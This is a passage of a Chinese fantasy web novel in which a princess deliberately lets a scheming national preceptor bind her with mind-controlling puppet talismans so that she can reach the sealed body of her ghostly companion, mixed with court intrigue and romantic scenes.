云绡点头:“嗯,她半夜突然跑来找我说皇兄下令要将我处死,我心里还觉得奇怪……不是皇兄与国师昭告天下我是天选圣女,怎得就要处死我?所以我怀疑她是为了我和她之间的私怨才假传圣旨,我便将她捉起来了。 我捉了她当然不能轻易放她走,而她贪生怕死,便向我吐露了她和这位新国师之间的秘密向我求饶。” “她说这位新国师之所以会出现在京都,就是为了神霄塔下的杀神身躯,而先帝之死也是他一力所为,因为皇兄你处处比不上父皇,但唯独比父皇好骗也更好控制。”云绡继续:“那位新国师可以往他人的身上下蛊,让他人变成自己的傀儡。三皇兄之前就是被他这样操纵才担下了所有罪名,不然凭着三皇兄那比你还不如的脑子,怎么能布下这么大一盘局?” 云光憧越听,越心惊。 “你和我说这些做什么?”云光憧深知,如今的云绡早就不是过去的小可怜,她告诉他这些一定是有所求。 “做什么?当然是为了护住我云氏江山啊!难道我都已经知道这些秘密了,还能眼睁睁地看着贼人猖獗?你死了于我有何好处?便是我当上了圣女,也不过是国师手中的傀儡圣女而已。”云绡的话,也有几分道理。 云光憧的脑子一团乱麻,极度紧张无助之下,他甚至朝福营看了好几眼。 福营也是被迫听了秘辛,他觉得自己的脑袋在脖子上隐隐作痒,像是快呆不住了似的。 长生之说,他一直都觉得是假的,是新帝被骗。 可京都多一个国师又或是少一个国师并无区别,这位国师至少能给新帝带来些利益,分一些京中势力过来。 现在听十一殿下这么说,对方所谋极大,非但是要长生,还要整个凌国的江山! “那……”云光憧刚开口便察觉到,他好像是被云绡牵着鼻子走了。 可若他不听从云绡的话,难道自己就是自由身了吗?他不也照样在听国师的话?左右……他都是被人掌控不得自由的。 可有意识的被掌控,和完全成为他人傀儡,也是有区别的。 “那我就凭你的一面之词开罪国师?我又要哪种理由去推翻神霄塔?” 云光憧动摇了,便说明他心里已经信了云绡七分。 云绡暗叹一声,还真是好上钩啊,随便说说都能相信,难怪会被景妍那样的蠢女人玩弄掌心。 “放心,我不会让皇兄为难的,神霄塔屹立两千余年,年久失修,多有损塌,得需挑选个良辰吉日重建,皇兄可以以此为借口请国师测算吉日先试探一番,以证明我说的神霄塔下才有真正的长生之术是真是假。” 仲卿顺势接话:“国师若以会破坏神仙塔阵咒为由拒绝,陛下便也有理由可以质疑他了,若他守护不了神霄塔,又有何资格做这个国师?若他无法控制神霄塔被推翻后带来的后果,陛下又如何能相信,他可以给予你长生?” 云光憧又问:“若我真的推翻了神霄塔,你们又能向我保证什么呢?纵使塔下真的有杀神的身体,你们又要如何让我长生?” 他说出心中疑虑:“而你们若真有此本领,怎么不用在自己身上?反而要用在我身上?” “我可没说要让皇兄长生。”云绡抿着嘴角笑了起来:“我要的是,我自己能长生。” “什……”云光憧不可置信地看向云绡,她真是一遍遍刷新他对她的认知。 云绡沉着眼色道:“我要长生,但我可以许皇兄,在你活着的时期里让你做足皇帝的瘾。我不会把控你,毕竟若我得了长生,在你死后我还有大把时间可以去做我想做的事情,这算我和皇兄之间的交易,如何?” 不如何! 云光憧想反驳,又不知要如何开口,他这个皇帝当真当了如同白当!他竟可以被所有人拿捏,竟……也能被所有人说动。 “皇兄好好考虑。” 云绡说完,转身就走。 福营突然提醒了云光憧一句什么,云光憧立刻询问:“那国师为何要给你尊荣,让你回来当什么圣女?!” 云绡脸色一冷,她像是自言自语,轻飘飘地留下一句:“我也想知道。” 她也想知道,这才是让云光憧相信她没有欺骗他的最终原因。 她是回到皇宫后发现景妍没死,又从景妍那里得知了国师的秘密,而她一直不明白自己为何会被国师选中成为圣女,她也害怕自己会有性命之忧,所以她就只能和云光憧站在同一边。 既如此,云光憧就信云绡不敢骗他,因为唇亡齿寒,他如今还是名正言顺的皇帝,凌国上下就还是他说了算! 他若出事,下一个倒霉的就是云绡了。 - 出了景娴殿,云绡揉了揉做表情做到有些僵硬的脸,长舒一口气:“我很快我就能再见到你啦,哥哥。” 钟离湛瞧她轻松的模样,眉头微蹙:“你到底在打什么主意?” 这句话也是仲卿想问的:“十一殿下,你到底是如何计划的?” 仲卿虽陪着云绡演戏,增加云光憧的信任度,可他也完全不知道云绡是怎么想的。 今晨天才刚亮,云绡便来找了他,与他说起要一起诓骗云光憧之事。 仲卿和徐容靳演练几次,还有些得瑟他回宫之后还有事可做,不必在屋子里发呆。顺便向徐容靳炫耀一下自己虽然在连玉州没有得到特殊对待,但在皇城他还是很有威望的。 然后云绡私下与徐容靳说了番话,仲卿就没见到徐容靳,他怀疑徐容靳很有可能已经离开皇宫了。 徐容靳好似在云绡这儿讨了个更大的活儿。 云绡对仲卿道:“你觉得若云光憧突然去找那位国师,说自己要重建神霄塔,国师会怎么想?” 仲卿恍然:“他一定会猜到陛下是在何处听说了什么,从而警惕起来,这于你不利啊,殿下。” 云绡挑眉:“不,恰是如此,才于我有利。” 与仲卿作别,云绡和钟离湛并肩而行回去广茗宫。 一路上薄雪潇潇,细腻的雪花染白了云绡的肩头,云绡牵着钟离湛的手,还不怎么觉得冷。 仲卿离开前心中还是疑惑的,可他没有多问,但钟离湛几乎猜到了云绡是想要做什么,这一路回来,他看云绡的眼神越来越沉,心也越来越乱。 她胆子真大! 眼看广茗宫就在跟前,宫中的宫女都是何舜的眼线,到时候云绡有任何举动都会被告知何舜,而她也不能对那些宫女施法。 所以有些话,不能在广茗宫里说。 钟离湛拉住了云绡的手突然走入了一旁的小路,石子铺成的道路两旁都是一些树叶落光了的玉兰花树,光秃秃的枝桠上堆着白雪,不一会儿就隐去了人影。 钟离湛心烦意乱地把云绡带到了一处空置已久的凉亭处,凉亭周围长了大半人高的水植,水植已经枯黄了,落了一层雪后彻底遮蔽了凉亭内的人影。唯有浅水另一头几株腊梅花展现生机,在一片冰天雪地的白中点缀几抹鹅黄。 “你是故意想要让他对付你的?”钟离湛的声音有些哑,虽是问出口,却也笃定。 云绡点头嗯了声。 钟离湛有些气恼:“你每次都是这样!不论如何设计,总要以自身为局!你可知你这样会有危险!我如今不过魂魄一缕,处处受限,未必是何舜的对手,也未必能护得住你!” 云绡有些愣住了,那双明亮的眼突然有些滞地望向钟离湛,她昂着头没动,整个人都像是被吓傻了一样。 钟离湛心下一疼,一把将人搂住,手掌不断地安抚她的脊背道:“对不起,我没有要凶你的意思,我只是担心你,他、他或许会杀了你!” 云绡感受着钟离湛怀抱的温暖,也感受着他紊乱的心跳和沉重的呼吸。他说话的声音都在颤抖,安抚她脊背的手也不稳,这让云绡突然想起了昨夜她半梦半醒间和钟离湛的对话。 所以,他昨天夜里心跳加快,辗转不安,是因为这个啊。 因为他看到了陌生又强大的何舜,他有了爱人也有了软肋,便有了惶惶不安。 钟离湛不是害怕失控,而是害怕关于云绡的一切变得失控。 他回来京都前,明明没有这么多愁绪,一切不安都源自于半途遇见传圣军,知道京都是一场针对云绡的鸿门宴,纵使云绡做足了准备,也有可能最终成为和他当年一样的结局。 一路归途与曾经何其相似,而他以为他那一次是失败了的,即便解除了云上巨人对曦族的诅咒,可这世间仍然是与两千余年前一般模样,五族分裂,仍被苍穹掌控生死。 云绡会是第二个钟离湛吗? 他用爱意教养的姑娘,也会因为一招行差踏错,最终万劫不复吗? 钟离湛没有两千年前的他那么坚定,他也因为内心的不安变得患得患失,因软弱而生欲望,因欲望而生占有。 多种曾经他不曾有过的复杂且负面的情绪,在知道云绡真正计划的这一刻如决堤的洪水,倾泻而出。 “你不能有事,绡绡。”钟离湛将脸埋在云绡的肩窝里:“有时候我宁可你不要这样聪明。” 云绡缓缓抬起手,抚摸着他的后背道:“原来是这样啊,钟离湛,原来这就是你半夜闹得我睡不着的原因,你对自己不自信啊?” 云绡学着钟离湛爱人的方式,用力捏了一下他因拥抱而鼓起的手臂,笑嘻嘻道:“你凶起来的样子好有气势哦~” 钟离湛闻言,呼吸一窒,紊乱的心像是突然被她的手掌温柔安抚。 第135章 云绡的手一遍遍地抚摸着钟离湛的后背,对他道:“你不要太担心,事情没你想的那么严重,正如我对何舜说的那样,他既然想要复活你,那这世上除了我,他别无选择。” 恰是因为如此,云绡才不会真的有生命危险,因为一旦她在钟离湛的魂魄附身之前死去,钟离湛也不能复活。 以现在情况推断,何舜根本不会杀她,他更有可能对云绡设下什么蛊或者用什么符,将她变成似傀儡又不完全是傀儡的样子,如此他可以对云绡彻底放下戒心。 云绡也能利用这一点,跟随何舜进入神霄塔,那钟离湛的魂魄便也能跟随她回到他的身体身边。 云绡想要知道何舜为何要复活钟离湛,想要看看他占据神霄塔,是否对钟离湛的身躯做了其他什么动作,也都必须得先见到钟离湛才行。 “他不杀你,也不会让你安稳地活着。”钟离湛的呼吸渐渐平稳下来,但他的心跳仍然很快,对云绡接下来处境的担忧一直都没有平复。 云绡听他的声音没有那么颤抖了,才用搞怪的语调道:“哎呀,我不是还有你吗?你我都知道他的动机,便一定有办法提前避开。现在你就替我想一想,究竟有什么符咒阵法可以迷惑、摄取他人的魂魄,从而控制他人的身体,又不会让那个人看上去像个行尸走肉的?” 钟离湛知道云绡是在用其实他很重要的方式来安慰他,他心中有欣慰,也有酸楚,他不确定何舜复活他,真的是因为对曾经的背叛后悔吗? 一个人能够背叛他的人,即便在他临死之前生了悔意,可救人失败后的忏悔真的能持续千年不变? 钟离湛低声道:“这世上没有什么事是万无一失的,万一他想要用我的身躯另谋他用?万一连这个复活我的意图也都是他对外的借口……你可想过如若你真的因为为了救我而出事……我会恨死我自己的,绡绡。” “我现在就已经无比地厌恶自己的无能。” 钟离湛后面的那句话很轻,可还是落入了云绡的耳里。 云绡搂着他的手略微收紧,她知道他过去有多强大,也知道他这一生除了面对云上巨人之外就再没有任何挫折,纵使环境让他的人生逆流而上,可他也从未后退过。 正因如此,他此刻的落差才让他有了手足无措之感,这样的无措,也是曾经的钟离湛从未体会过的情绪。 云绡知道他那句话真正想表达的用意。 她对钟离湛道:“是我没有及时告诉你,也是我没有提前和你商量……但我很高兴你担心我。从小到大,你是第一个保护我的人,一直以来也都是你护着我让我免除危难,这一次,就让我来救你啊,钟离湛。” 云绡想着,她的确好像每一次计划着什么,都会将自己算进其中。可也只有这样,她才能确定有些事情即便发生了变化,她也可以随机应变,一切也都还能在她的掌控之中。 包括这一次,在回来京都之前云绡就已经想好了要如何应对何舜。 在见到传圣军时,云绡大约就猜到了如今京中的局势,她即便成为圣女也还是会被何舜牵制,她的所作所为都会被何舜看在眼里。 就算有钟离湛在一旁盯着,可以很快地捕捉到何舜是否就在她的周围,却也无法排除何舜对她的戒心。 何舜不会让她有机会进入神霄塔的,便是今天所谓的安排她和国师见面测算八字,何舜也不会放心让她接触钟离湛。 所以她才会先在何舜的面前暴露自己的野心和有谋却不多的性格,再挑拨离间云光憧和何舜,让何舜知道她的一些愚蠢狂妄的举动,这样也推动了何舜对她动手。 至于她会不会受到伤害,云绡也考虑到了这一点,可她从来都是个为达目的不择手段之人,否则当初也不会主动引周泉礼将她丢入神霄塔。哪怕挨打,哪怕摔断了腿脚,有些计划为了顺利总会有必要的牺牲。 而这一次,她疼了有人哄,遇见危险也有人扛,云绡就像是个披上了盔甲的战士,完全没在怕的! 不过她的盔甲的心理防线好像没有她想象中的那么强大…… 云绡就像是哄小孩儿似的拍拍钟离湛的后背,认真对他道:“你要相信我啊,因为我是你教出来的,我有自保的能力!” 这句话即是对自己的自信,也是对钟离湛的肯定。钟离湛的脑海中还有许多胡思乱想的猜测,也都在她于自己背后一遍遍安慰的掌心下抚平。 钟离湛都觉得此时此刻的自己分外可笑,即便不如此,难道他们还有其他的路可走吗? 但云绡的安慰也太温柔了……在这一刻他们就像是身份调换,好像曾经的某个时刻他也这样将云绡抱在怀里,抚慰着她的情绪。 原来有人可以依赖的感觉,如此之好,而依偎于所爱之人的怀抱,也真的可以驱散所有不安与无助。 云绡和钟离湛在这一个漫长的拥抱里感受到的完全不同,她甚至推翻了不久前她自己的设想。她一直觉得钟离湛是她的盔甲,所以她才能毫无顾忌地去做,与何舜正面杠上也无所畏惧,钟离湛总不会让她真的受伤。 但在这一刻她突然反应过来,原来再强大的人都有软肋,她也同样可以是钟离湛的盔甲,她的行救举动,就是保护。 而从来都没有被人依赖过的云绡,此刻的感觉分外微妙。 她对钟离湛的感情好像又有细微的变化了,这种变化让她心跳加速,呼吸也变得凌乱了起来。她顺着钟离湛拥抱她的姿势,以纤细瘦小的身躯,把一个高大强壮的身影纳入自己的怀中。 凉亭旁的湖面结了冰,覆盖皑皑白雪,馥郁的腊梅花香气在风中飘散,吹入凉亭,拂过云绡的发丝。 就像是白兔安慰着黑狼,毛茸茸的小爪子一直揉着黑狼耷拉着的脑袋,听着他在她耳畔发出的类犬的呜哼。 云绡喜欢这样的感觉。 她觉得此刻的钟离湛有些可爱,又一次满足了她奇怪的欲望,挑起她另类的兴奋和期待。 云绡甚至在脑海中夸张地去想……钟离湛是会哭的吧? 大约是因为魂魄没有眼泪,所以她只看过他红了眼眶,好像从来都没见他哭过。 砰砰—— 云绡的心跳又加速了许多,她快速眨眼,深吸一口气,揉着钟离湛的微卷的发丝,敛藏眼底的兴味。 总不能在人家还委屈脆弱的时候突然笑出声,否则她未必还能再见到与今天一样的钟离湛了。 - 何舜要面见云绡,不过是为了走一个形式,他与云绡会面也只是为了确定云绡知道多少关于他的事,她又是个什么样的人,是不是真的适合成为钟离湛魂魄的载体? 这些何舜都在昨夜发现云绡不对劲的时候确认了,他知道云绡是个聪明的又有些自大的女子,好拿捏,也很好控制。 可他没想到云绡居然会自大到妄图去试探他的底线。 她要动神霄塔,还说动了云光憧来当靶子自己躲在背后假装不知,恰如她这个人给何舜的感受,有聪明,但不多。 原本何舜是打算留云绡一条命,若她真的与君上有些交易上的羁绊,他不介意让她在死前最后的时光得意一些,就当时作为她提前死去的补偿。 可云绡显然不打算履行她和君上的约定,所以才会有云光憧前来试探。 何舜没有立刻答应云光憧,但也没有拒绝,他只说自己会算上一卦看看神霄塔是否适合推掉重建,而后便召回了他安排在广茗宫的眼线,询问云绡与谁碰了面,又说了什么。 从那眼线的口中得知云绡与仲卿碰过面,二人浅聊,但何舜从他们简单的对话中还是能捕捉到云绡真正的意图。 她要推掉神霄塔重建,是因为她猜到了君上现在身体受限,她想让世人看见杀神的真容再借此机会将君上的身体挫骨扬灰,以此来达成她的名望,也摧毁何舜的计划。 她对景妍还有恨,对与景妍有关的一切,亦都很逆反厌恶。 既能达成自己至高无上的荣耀,又能将仇人打入地狱,还能破除她的童年噩梦斩断与君上的交易,她可真会算计。 何舜的脸色很冷,挥手叫人退下后,便要召见云绡。 - 云绡此番来神霄塔面见国师虽然是云光憧那边派人通知的,但宫里的人护送云绡至神霄塔范围外,见到神霄塔处派来的仙师后便回去了。 云绡看着眼前还算熟悉的地方,这里是神霄塔外围长殿,要在往里走三层院子才能抵达神霄塔。 何舜没有更改神霄塔守卫的数量,不过云绡在 那些人的身上已经看不到多少生气,这些人应当也都变成了何舜的寻常傀儡,由他操控。 与过去不同的是神霄塔外长殿的屋檐顶上多了许多鸟雀,那些才是容易被人忽略,却无时不刻注意着路过者一举一动的眼睛。 有人领着云绡朝里走,领着她的人将她带到与神霄塔只隔一道院墙的光盈殿前,一句话没说便退下了。 云绡没去看光盈殿上的鸟雀,但她在来前就知道何舜大约是想做什么。 一阵风吹动云绡的发丝,她抬起手将吹乱的头发别在耳后,无人看见云绡落下的手在空中好似滞涩了一瞬,她深吸一口气,只身朝光盈殿走去。 光盈殿内没点灯,门窗紧闭,云绡刚踏入进去便警惕了起来。 她没再朝前走,只站定原地等眼睛适应了黑暗,看清了殿内布局才开口:“国师让我来,却不见我?” 等了会儿,殿内仍然没有声音,云绡察觉不对劲,转身便要走。 她的手碰到殿门的那一瞬便察觉到了光盈殿门内贴着的一张黄符。 她指尖颤动了一下再便用力握住了门把手,使出全力拽了一下殿门。 门没拽动,云绡垂着头发丝遮住了她紧张还有些恐惧的神情。 她压制已经有些控制不住的声音,努力镇定地问:“你就在这里吧?国师,如果你还想让曦帝复活便把门打开,让我离开,否则……我不介意鱼死网破。” 说完这话,她的手便松开了门把,转而弯腰抽出鞋桶里的匕首。 何舜在光盈殿的屏风后头看着她这举动,不禁露出一抹冷笑来,他的笑很短促,云绡似乎听到了,那把对外的匕首突然就对准了她自己的心口。 “谁在发出声音?出来!” 云绡的声音终于有些控制不住地拔高。 何舜看着她手里锋利的匕首,危险地眯起眼睛,他抬起双手于唇前合十,再变化结印。随着低语出声的咒,光盈殿中贴着的黄符上朱砂红字全都亮了起来。 密密麻麻的黄符,摄魂夺魄的符文亮起时照亮了云绡的脸庞,红色的微光在她身上投上了重重叠影,如同缠绕的红线凌乱地纠缠在她的四肢百骸上,要彻底将她变成一个听话的提线木偶。 云绡感觉到了那些红色印记在掠夺她身上的气力,混沌她的意识,她那双惊恐的眼也像是困顿了一样闭上了好一会儿,随后挣扎着醒来! 睁开眼的刹那云绡便用匕首在自己的胳膊上划下一道伤口,疼痛叫她拥有片刻清明,她知道她不能再留在这里了! 转身用尽全力去拉门锁,即便光盈殿的大门毫无反应她也没有放弃,同时嘴里还在咬牙切齿地骂着谁。 何舜看着她手臂上染红衣裳的伤口还在不断滴血,有些意外她居然对自己下手如此干脆利落! “再不放我出去,我就自戕!谁也别想好过!” 说完这话,她指尖触碰的门上黄符猝然燃烧,火焰顺着她的手臂攀爬过来,云绡惊异地发现她的手臂已经不受自己控制了! 再回首,她看见了殿内光芒照不到的角落里那个正在念咒,浑身笼罩在黑暗中的男人。 她在对上对方目光的那一瞬似乎听到了一声沙哑的、古怪的低语。 云绡的视线逐渐模糊,周围的一切都变成了斑驳的光点,唯有那道玄色的身影成了她视野里的唯一聚焦。 那道沙哑的声音对她道:“现在,用匕首杀死你自己。” 如木偶得到了操纵者的指令,云绡木讷着脸,迅速抬起自己的手。 寒光一现,匕首刺入胸腔,才碰到了肋骨又堪堪停住。 何舜收回了自己手,方才若非他动弹手指,云绡手里的匕首便要刺穿她自己的心脏。 果然,还是听话的傀儡更为方便。 第136章 “聆音断念,目视摄魂,这是傀儡术里的认主符。” 熟悉的声音从耳畔响起,云绡混沌的目光还直勾勾地盯着前方,眼看着那道黑影逐渐朝她靠近。 捂着她耳朵的双手打开了一条缝隙,那道声音又对她道:“认主符只摄魂,不杀魂,这种符若设符者不在,中咒者便与常人无异,但听见了设符者的声音或看着他的眼睛,那他做出了何种指令,中咒者都会听话顺从地去执行。” 这与云绡的猜想差不多。 钟离湛的声音来得迟了些,是因为认主符并非出自钟离湛之手。 符咒是钟离湛的天赋,但这世上聪明人不止一二,在有人发现原来符咒可以借用天地自然之力为己所用之后,便有人能钻研出一些奇特符咒。 认主符是其一。 认主符消耗极大,一张符便是一根线,中咒之人如若意念坚毅强大,可能得耗上成千上百张符才能控制住对方。 此符被开创出来也是为了战争服务,原先是用在战场上诓骗敌军首领,只要抓住首领便可不费吹灰之力攻城略地。 阴符邪咒,在钟离湛杀死彼时曦族帝王后便将一些相关术法记录的书籍销毁了。 不过何舜与他同处一个时期,他会听过认主符也不足为奇。钟离湛销毁的术法记录也未必是全部,在他死后这么多年何舜想要找齐认主符的绘制和使用,也是可能的。 瞧着光盈殿中贴了至少不下三百张符,云绡心想何舜还真是看得起她,那些缠绕在她四肢百骸上的符印随着黄符烧光而逐渐隐藏了起来。 钟离湛不满地盯着云绡的手腕、胳膊和肩头处,忍耐到操控傀儡的线符不再发出红光后,才挥袖将其纷纷断去。 指腹摩挲着云绡的手腕,钟离湛仔细打量着她的身上,看看有没有漏网之鱼,而那些曾在她身上短暂停留妄图控制她的线悉数化作齑粉,烟消云散。 “认主符不是死傀儡而是活傀儡,他虽然能控制住你的意识和行为,却不能控制外在力量对你的干扰,所以你原本的计划仍然可以施行。” 钟离湛说完这话,才将剩下那只捂着云绡耳朵的手放下,虚虚空着掌心落在她受伤的心口处。得益于云绡的身体特殊,她心头的伤口与胳膊上的伤痕已经没有再继续往外流血了。 钟离湛想碰又没舍得碰,只能闭上眼睛不去看,可那丝丝钻入呼吸间的血腥味还是让他的内心生出类似狂躁的戾气,想要杀了何舜的心在这一刻达到了顶点。 钟离湛只能在心中安慰自己,他还没寻回自己的身躯,还没有真的复活,这个时候他便不能动何舜! 何舜拥有五族的力量,何尝不是云上巨人给他身上设下的认主符?按照云上巨人的猜想,除非何舜是老死的,否则这世上没有人能杀死他,而一旦何舜死亡,也定会引起他们的警觉! 所以他只能忍! 那股恶心的焦枯味飘来时,钟离湛将自己彻底藏在云绡的身后,甚至连头都撇过一旁不去看,心底的声音一遍遍告诫自己,云绡已经因此受伤了,他就不能再拖后腿。 何舜看着目光呆滞的少女,缓缓伸出手。 云绡当真像个傀儡一样,一个指令一个动作,她在何舜伸出手的时候便将还沾了血的匕首递给了对方。 何舜接过匕首,垂头看这匕首上的花纹,冷不防地将匕首朝云绡的瞳孔刺去! 那双没有光彩的眼连睫毛都没动一下,就在何舜即将放下匕首时,她却突然开口了。 “谁在说话?” 云绡的声音很低,如同梦境中的呓语,但何舜听见了,他手中匕首锋利的尖刃又往前进了半寸,云绡仍然没眨眼,可她还是重复了一句。 “谁在说话?” 所以,她方才听见声音突然拔起匕首,并不是听见了何舜的咒语,而是听到了另外的声音? 整个神霄塔 如今都是何舜的眼线,神霄塔内所有人都被他用对付云绡的方式做成了自己的傀儡,不应该有人会在明知他于光盈殿内有要事时还发出声音打搅他们。 更何况何舜并未听见什么声音! 何舜收了匕首将其丢去一旁,他的声音如深夜里的鬼魅般嘶哑,问云绡:“你听见了什么?” 云绡停顿了很久,才像是理解了何舜的问话,缓慢道:“他问我,死了吗?” 何舜立刻怔住,他的符才控制住云绡,彼时还没摄走云绡的魂魄,她便听见了那道声音。眼下云绡已然变成了何舜的傀儡,那道声音又反复问她是否死了,便说明云绡听见的那个声音应当一直在监察她的生命。 何舜立刻就猜到她听到的声音是谁。 他猛然回头朝身后看去,光盈殿之后便是神霄塔,神霄塔后庇荫的地方则是天祭台,此刻他们脚下的土地是曾经何舜亲眼所见,被枉死之人血液染红的阴怨之地。 钟离湛就被封印在这里! 此时此刻,站在他面前的少女,正在与君上的意念沟通! 何舜忽而停止了呼吸,紧张地望向云绡。 高挑的男人弯下了腰,那双黑洞洞的眼里似乎有了渴求和畏怯,他要确保云绡看着他的双眼,准确地传达他想要让她传达的讯息。 “告诉那个声音,你还活着。” 云绡空洞的眼中没有丝毫情绪,她一字一顿道:“我还活着。” 说完这句话后,她的脑袋突然动了一下,何舜立刻后退,目光四扫,并未察觉光盈殿中多出了什么。 静待许久后也还是什么也没有。 “他怎么说?”何舜上前两步,迫切地问。 云绡只呆滞地望向前方,像是在方才那一晃中与那道声音的意念断联了。 何舜这才找回了自己的呼吸,他捂着狂跳的心,心中思绪百转,各种疑惑涌上心头。他知道这一刻他已经失去了理智的思考,可他仍然控制不住去设想一个个可能。 他的皮肤在这一刻像是又回到了当初冲入火海时感受的疼,整个人如同被放在油锅里煎熬,那股从他身上传出的焦枯的苦涩味道愈发浓郁。 云绡察觉到何舜的情绪很不对劲。 “你走吧!” 何舜说完这话,光盈殿大门的禁制便消失了。 云绡就像个行尸走肉一样打开了光盈殿的大门朝外走,待到十数步之后才渐渐找回了自己的意识,似是有些疑惑地左右看了几眼,站定原地静默片刻,她大步流星地离开。 - 回到广茗宫云绡立刻命人打水沐浴,她觉得和何舜呆在一个空间内太久,她身上也都沾染上了那股焦枯的味道。 云绡进了浴桶,将整个人都埋在了温水之中,熏得脸颊通红。 钟离湛突然越过屏风出现再她面前,他甚至都没有踏入浴桶这个动作,就堂而皇之地坐在云绡的对面,吓得云绡在水中扑腾了一会儿,然后小腿便被对方制住。 “别动!” 钟离湛的声音摆明了他不高兴,他的双手掐着云绡的腰将她往上提了提,哗啦啦的水声响起,云绡的心口一凉,大半片凝脂一样的胸脯就暴露在钟离湛的眼前。 云绡呼吸一窒,连忙双臂环胸地看着对面的男子,一张小脸憋得通红,眨巴眨巴眼不明所以,又有些不好意思地垂下了头。 “现在,不方便……” 云绡的眼神朝门外投去,示意钟离湛这里到处都是何舜的眼线,即便她也想……但他们最好忍一下。 钟离湛一时无言,就连气笑都笑不出来。 一声叹息吹入水面,他小心翼翼地捧着云绡的手臂,眉头紧锁地看向云绡手臂上的刀痕。为了取信何舜,她这一刀划得极深,是几乎见骨的程度,甚至比她心口处的伤痕还要骇人。 她的手臂本来没有流血了,此刻凸出的血痂经过热水一泡,又渗出一些鲜红的颜色,就像是一只死在了她手臂上的蜈蚣。 钟离湛毫不怀疑,如若那把匕首再锋利一些,甚至能割断她的筋骨。 他方才就是嗅到了她身上又溢出了血腥味这才进来仔细看看。 治疗的咒语从钟离湛口中温柔呢喃而出,他的手指悬在云绡手臂的上空画下咒文,想让她的手臂好得更快一些。 云绡缩了一下,似是犹豫,钟离湛便道:“这咒你本来就会,给自己疗伤,他还不至于会猜到我一直就在你的身边。” 云绡也知道,所以刚才的缩只是本能,她还是地伸着自己的胳膊,老老实实地接受钟离湛的心疼,再朝他露出乖巧的笑容。 手臂上的血痂已经脱落,只剩下淡粉色的可怖疤痕,钟离湛再看向她一只手臂环住挤压的胸口。 尖刃刺伤和用力划破的伤痕不同,云绡心口处的伤并未流血。 钟离湛再用咒术为云绡治疗,待到血痂脱落,那只原本虚空画咒的手指尖轻柔地落在云绡心口的疤痕上。 云绡身体一颤,整个人比这桶里的热水还要烫。 钟离湛的指腹轻轻地摩挲了一下那道像是一条红线般的疤,回忆起光盈殿中他极力忍耐,眼睁睁看着云绡受伤的一幕。 彼时利刃触碰到云绡心口肋骨时,钟离湛伸手挡了一下她的手腕,他其实弄不明白何舜为何想要复活他,也就不知当时他是否真的想要云绡死。 若他没有让云绡停下,钟离湛也会阻止云绡,也不管云上巨人会否发现,他都会反杀何舜。 所幸一切都在往云绡设想的方向发展。 降低何舜对她的忌惮;刺激何舜对她的忍耐;落入圈套后何舜对她足够信任;再适当抛出一些诱饵,何舜应当很快就会带着云绡主动去天祭台下的深井处,见钟离湛。 这其中少了哪一步,依何舜这活了两千多年的性子,都不会轻信她。 云绡的脸仿佛要滴血一样,她的心口被他抚摸得酥酥麻麻的,整个人如同要融化一般靠在浴桶中,偏偏双腿因为浴桶空间有限,增加钟离湛的身躯后被挤压在两侧,难以动弹。 云绡深吸一口气,抓住了钟离湛作祟的手,娇嗔地瞪了他一眼。 “别摸了!” 她压低声音嗔怒道。 钟离湛顺着她的意,没再去摸她心口上的伤疤,而是抚摸一下她的头顶。 他抬起手的瞬间,云绡能嗅到他手腕上的香气,乖巧地蹭蹭钟离湛的手掌,随即一怔,因有香气对比,她突然想起来何舜身上难闻的苦味,便回忆起了他后来的不对劲。 “他对你的感情怎么那么深啊?”云绡这句话说出来,钟离湛都愣住了。 云绡算是见证了何舜背叛钟离湛的全部过程,也知道他在钟离湛死前后悔,冲入火海,不顾生死想要去救钟离湛。 或许也正是因为他的后悔,才让云上巨人如同玩弄蝼蚁一样,偏偏将五族的力量赐予了他,让他长久地活下去,日日夜夜被背叛后后悔的情绪折磨。 云绡以为,他要复活钟离湛,更像是替曾经的自己赎罪。 钟离湛也是这样以为的。 可今日见到何舜对钟离湛的在意……那已经是云绡看了都觉得古怪,甚至吃醋的程度了。 “他该不会是对你……”云绡的话还没说完,就被钟离湛捂住了嘴。 “休要口出狂言。”钟离湛低声,脸色更加难看了起来。 毕竟云绡对着仲卿和徐容靳都能说出他们是在打情骂俏这种鬼话来的。 云绡见钟离湛捂得不紧,她抿嘴一笑,歪着头咬上了他的指尖,牙齿轻轻磨了一下他的尾指关节,再松开,心下有些满意了。 “我突然想起来,我在被你劈开了阴谋碎裂的镜面中看见了其他叛徒的身影,唯独没有何舜,他是后来才出现的。” 何舜只在捕杀钟离湛的现场,并不在他们前期计划里。 第137章 钟离湛没有这段记忆,云绡在知道何舜便是黑衣神秘人之后,对他也只有背叛钟离湛的厌恶,不曾去细想 过当时她看见的那些模糊画面。 若非方才提起何舜,她觉得何舜对钟离湛的态度实在有些奇怪,也未必能想到这一层。 彼时将钟离湛困在那座虚假宫殿里的人,云绡记住了他们每个人的身形样貌,积恨尤深,却忽略了细节。 那些身披黑衣蒙着脸,生怕被人看见的鬼祟叛徒们偷盗了那么多孩童,在连玉州里重新上演烹食人肉的事迹,这些何舜好似都没有参与过。 甚至围捕钟离湛时,那些黑衣人畏缩着不敢上前,只有何舜大步朝彼时已经脱离了棋局桎梏,彻底昏厥过去的钟离湛走来。他的身上没披黑袍,也没有遮住自己的脸,天青色的长衫在雨里淋得透湿,神色也没有半点惭愧羞耻。 云绡想不通,何舜之前对钟离湛一直是忠诚且倾佩的,怎么突然就背叛了他?但看见其他族的黑衣人,她又觉得不需要过多的理由,全看他们背叛钟离湛后得到的利益是否足够多。 抵挡不住诱惑的人,只需要一瞬间就能改变。 现在再想,何舜当时未免太坦荡了,他那个时候真的有那么强大的内心,做了坏事就丝毫不觉得羞愧?若他真如此坚定,他又怎么会在最后关头后悔?不上前捅钟离湛一剑确保他死得万无一失都算他还留有人性了。 钟离湛也在努力回忆而出神,水声传来,几点水花从他的魂魄中穿过,云绡那张湿漉漉的小脸突然就朝他凑近。 她身上带着的浅香也随着水中蒸腾的热气扑面而来,钟离湛方才究竟回忆到了哪里这个时候也都被抛到九霄云外去了。 他看着近在咫尺的脸,呼吸一瞬间停止。 云绡的睫毛被水汽蒸得潮湿,她鼻尖挂着细小的水珠,嘴唇红润,一张一合的也不知说着什么,反正钟离湛全都没听见。 他喉结滚动,目光在水雾中迷离,正低头想要吻上去,云绡突然推开他的肩,挣扎着要起身。 钟离湛回神,快速眨了几下眼,不动声色地将自己缩在了水桶里让云绡有足够的空间出去,还不至于她的腿乱碰乱蹭。 他有些尴尬地瞥开目光,咳嗽一声:“你刚才说什么?” 